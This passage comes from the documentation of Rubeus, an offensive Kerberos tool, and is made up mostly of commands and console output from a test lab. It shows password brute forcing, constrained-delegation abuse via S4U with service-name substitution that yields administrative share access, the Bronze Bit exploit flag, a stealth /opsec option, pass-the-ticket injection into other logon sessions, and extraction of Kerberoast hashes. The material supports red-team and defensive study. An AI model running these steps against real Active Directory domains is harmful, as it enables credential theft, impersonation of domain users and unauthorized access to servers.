Base64(key) : Gg3zZicIl5c50KGecCf8XA==
The renew action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
The /autorenew flag will take an existing /ticket:X .kirbi file/blob, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
The brute action will perform a Kerberos-based password bruteforcing attack.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
Breakdown of the constrained delegation commands:
| Command | Description |
|---|---|
| s4u | Perform S4U2self and S4U2proxy actions |
The s4u action is nearly identical to Kekeo's tgs::s4u functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see this post or Elad Shamir's "Wagging the Dog" post.
A TL;DR explanation is that an account with constrained delegation enabled is allowed to request tickets to itself as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have TrustedToAuthForDelegation enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the FORWARDABLE flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's msds-allowedtodelegateto field. So long story short, if you have control of an account with TrustedToAuthForDelegation set and a value in msds-allowedtodelegateto, you can pretend to be any user in the domain to the SPNs set in the account's msds-allowedtodelegateto field.
This "control" can be the hash of the account (/rc4 or /aes256), or an existing TGT (/ticket:X) for the account with a msds-allowedtodelegateto value set. If a /user and rc4/aes256 hash is supplied, the s4u module performs an asktgt action first, using the returned ticket for the steps following. If a TGT /ticket:X is supplied, that TGT is used instead.
A /impersonateuser:X parameter MUST be supplied to the s4u module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
That forwardable ticket can then be used as a /tgs:Y parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid msds-allowedtodelegateto value for the account must be supplied (/msdsspn:X). Say the [email protected] account looks like this:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Where /ticket:X is the TGT returned in the first step, and /tgs is the S4U2self ticket. Injecting the resulting ticket (manually with Rubeus.exe ptt /ticket:X or by supplying the /ptt flag to the s4u command) will allow you access the ldap service on primary.testlab.local as if you are dfm.a.
The /altservice parameter takes advantage of Alberto Solino's great discovery about how the service name (sname) is not protected in the KRB-CRED file, only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...).
Let's expand on the previous example, forging access to the filesystem on primary.testlab.local by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
By default, several differences exists between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more inline with genuine requests, the /opsec flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than aes256 and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the /opsec changes, the /force flag exists. The /opsec flag has not yet been implemented for cross domain S4U.
The Bronze Bit exploit (CVE-2020-17049) is implemented using the /bronzebit flag. Adding this flag will automatically flip the forwardable flag when retreiving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and reencrypted, the long term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work.
It is possible, in certain cirsumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed here. For this purpose, the /self flag and /altservice:X argument can be used to generate a usable service ticket.
To forge an S4U2Self referral, only the trust key is required. By using the /targetdomain:X argument with the /self flag and without the /targetdc argument, Rubeus will treat the ticket supplied with /ticket:X as an S4U2Self referral and only request the final S4U2Self service ticket. The /altservice:X can also be used to rewrite the sname in the resulting ticket:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
Breakdown of the ticket management commands:
| Command | Description |
|---|---|
| ptt | Apply a ticket to the current (or specified) logon session |
| purge | Purge the current (or specified) logon session of Kerberos tickets |
| describe | Describe a ticket base64 blob or .kirbi file |
The ptt action will submit a /ticket:X (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:0xA... Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
Elevated ticket application to another logon session:
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (All Users)
[*] Target LUID : 0x474722b
UserName : patsy
Domain : TESTLAB
LogonId : 0x474722b
UserSID : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/11/2019 10:58:53 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : patsy @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Import Ticket
[*] Target LUID: 0x474722b
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (All Users)
[*] Target LUID : 0x474722b
UserName : patsy
Domain : TESTLAB
LogonId : 0x474722b
UserSID : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/11/2019 10:58:53 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
The purge action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:0xA...
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
[2] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
C:\Rubeus>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
Luid: 0x0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
C:\Rubeus>
Elevated purging of another logon session:
C:\Rubeus>Rubeus.exe triage /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Triage Kerberos Tickets
[*] Target LUID : 0x474722b
-----------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------
| 0x474722b | dfm.a @ TESTLAB.LOCAL | krbtgt/testlab.local | 2/11/2019 7:55:18 PM |
-----------------------------------------------------------------------------------
C:\Rubeus>Rubeus.exe purge /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
Luid: 0x474722b
[*] Action: Purge Tickets
[*] Target LUID: 0x474722b
[+] Tickets successfully purged!
C:\Rubeus>Rubeus.exe triage /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Triage Kerberos Tickets
[*] Target LUID : 0x474722b
---------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------
---------------------------------------
The describe action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
If the supplied ticket is a service ticket AND the encryption type is RC4_HMAC, an extracted Kerberoast-compatible hash is output. If the ticket is a service ticket but the encryption key is AES128/AES256, a warning is displayed. If the ticket is a TGT, no hash or warning is displayed.
Display information about a TGT:
C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/11/2019 2:55:18 PM
EndTime : 2/11/2019 7:55:18 PM
RenewTill : 2/18/2019 2:55:18 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : e3MxrlTu9jHh9hG43UfiAQ==
Display information about service ticket with an extracted Kerberoast hash:
C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Describe Ticket
UserName : harmj0y
UserRealm : TESTLAB.LOCAL
ServiceName : asdf/asdfasdf
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/20/2019 8:58:14 AM
EndTime : 2/20/2019 12:41:09 PM
RenewTill : 2/27/2019 7:41:09 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : rc4_hmac
Base64(key) : WqGWK4htp7rM1CURpxjMPA==
Kerberoast Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(snip)...
Breakdown of the ticket extraction/harvesting commands:
| Command | Description |
|---|---|
| triage | LUID, username, service target, ticket expiration |
| klist | Detailed logon session and ticket info |
| dump | Detailed logon session and ticket data |
| tgtdeleg | Retrieve usable TGT for non-elevated user |
| monitor | Monitor logon events and dump new tickets |
| harvest | Same as monitor but with auto-renewal functionality |
Note: triage/klist/dump give increasing amounts of ticket detail.
The triage action will output a table of the current user's Kerberos tickets, if not elevated. If run from an elevated context, a table describing all Kerberos tickets on the system is displayed. Ticket can be filtered for a specific service with /service:SNAME.
If elevated, tickets can be filtered for a specific LogonID with /luid:0xA.. or a specific user with /user:USER. This can be useful when triaging systems with a lot of Kerberos tickets.
Triage all enumerateable tickets (non-elevated):
C:\Rubeus>Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Triage Kerberos Tickets (Current User)
[*] Current LUID : 0x4420e
-----------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |
-----------------------------------------------------------------------------------------
Triage all enumerateable tickets (elevated):
C:\Rubeus>Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Triage Kerberos Tickets (All Users)
-------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-------------------------------------------------------------------------------------------------------------
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |
| 0x56cdd86 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:02 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 3:19:11 PM |
| 0x47869b4 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:05:29 PM |
| 0x3c4c241 | dfm.a @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/11/2019 4:24:02 AM |
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/10/2019 11:41:26 PM |
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | WINDOWS10$ | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM |
-------------------------------------------------------------------------------------------------------------
Triage targeting a specific service (elevated):
C:\Rubeus>Rubeus.exe triage /service:ldap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Triage Kerberos Tickets (All Users)
[*] Target service : ldap
-----------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------------------------
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM |
-----------------------------------------------------------------------------------------------------------
The klist will list detailed information on the current user's logon session and Kerberos tickets, if not elevated. If run from an elevated context, information on all logon sessions and associated Kerberos tickets is displayed. Logon and ticket information can be displayed for a specific LogonID with /luid:0xA.. (if elevated).
Listing the current (non-elevated) user's logon session and Kerberos ticket information:
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0x4420e
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/12/2019 11:04:14 AM ; 2/12/2019 4:04:14 PM ; 2/19/2019 11:04:14 AM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)
...(snip)...
Elevated listing of another user's logon session/Kerberos ticket information:
C:\Rubeus>Rubeus.exe klist /luid:0x47869b4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (All Users)
[*] Target LUID : 0x47869b4
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869b4
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/11/2019 11:05:31 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[0] - 0x12 - aes256_cts_hmac_sha1
